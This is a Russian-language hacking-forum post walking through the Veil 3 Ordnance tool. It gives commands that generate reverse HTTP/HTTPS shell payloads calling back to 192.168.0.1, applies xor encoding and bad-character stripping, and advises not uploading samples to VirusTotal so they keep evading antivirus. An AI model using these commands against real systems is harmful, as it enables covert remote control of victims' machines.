• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Veil 3 Odrnance. Часть 1

A

adm2

Happy New Year
05.07.2017
50
117
Установка
Часть первая. Veil Ordnance
Часть вторая. Veil Evasion
Взлом удаленного компьютера. Veil-Evasion. Metasploit

Veil Evasion как вы знаете обновился до третьей версии давненько (9 месяцев назад, если быть точнее).
Однако более менее подробного осмотра продукта не нашёл. А если, чего то нет, то разбирайся и создавай сам. Тем более что для начинающих Veil достаточно любопытный инструмент, который задействует в себе сразу несколько компонентов для доставки полезной нагрузки: тут тебе и макросы, и повершелл скрипты, и батники, и крипторы.
Главное на VIRUSTOTAL не грузите ничего, ПАЖАЛУСТА! Если и хотите проверить файл на детект, либо поставьте себе бесплатный какой-нибудь AV (самый простой вариант ), либо воспользуйтесь сервисом , или скомбинируйте и то и то)

Установку достаточно подробно разобрал товарищ @Vander
https://codeby.net/threads/veil-framework.60978/

Окунёмся в функционал:
Veil 3.0 состоит из двух инструментов Ordnance и Evasion, которые можно использовать либо вдумчиво через меню программы, либо быстрыми, как правило, заранее заготовленными командами.

Стандартное меню выглядит следующим образом

Код:
./Veil.py
Veil 3 Odrnance. Часть 1


Вызываем помощь при использовании инструмента в терминале
Код:
./Veil.py -h
Veil 3 Odrnance. Часть 1


Veil Ordnance

Ordnance используется для быстрого создания шеллкода, который уже в дальнейшем можно использовать для эксплоитов или полезных нагрузок.

- Получаем список доступных нагрузок для инструмента Ordnance
Код:
./Veil.py -t Ordnance --list-payloads
Veil 3 Odrnance. Часть 1


- Список достпных енкодеров
Код:
./Veil.py -t Ordnance --list-encoders
Veil 3 Odrnance. Часть 1


- Используем Ordnance для генерации обратной полезной нагрузки https, которая соединяется с 192.168.0.1 на 4443 порту
Код:
./Veil.py -t Ordnance --ordnance-payload rev_https --ip 192.168.0.1 --port 4443
Veil 3 Odrnance. Часть 1

- Используем Ordnance для генерации обратной полезной нагрузки http, которая соединяется с 192.168.0.1 на 8080 порту, затем применяется xor енкодер (-e xor) и удаляются плохие символы (-b \\x00\\x0a)
Код:
./Veil.py -t Ordnance --ordnance-payload rev_http --ip 192.168.0.1 --port 8080 -e xor -b \\x00\\x0a
Veil 3 Odrnance. Часть 1


Чтобы шелкод смог выполнить своё предназначение его необходимо скомпилировать либо с использованием второго инструмента Evasion, либо сторонним софтом.

Ну и гифку закину по использованию через меню самой программы
Veil 3 Odrnance. Часть 1


Про Evasion в след. части .
Спасибо за внимание.

Установка
Часть первая. Veil Ordnance
Часть вторая. Veil Evasion
Взлом удаленного компьютера. Veil-Evasion. Metasploit
 
Последнее редактирование:
Dr.Lafa

Dr.Lafa

Mod. Hardware
Gold Team
30.12.2016
510
1 036
Всё никак руки не доходили 3-й Veil затестить. ТС молодец, хороший обзор.
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб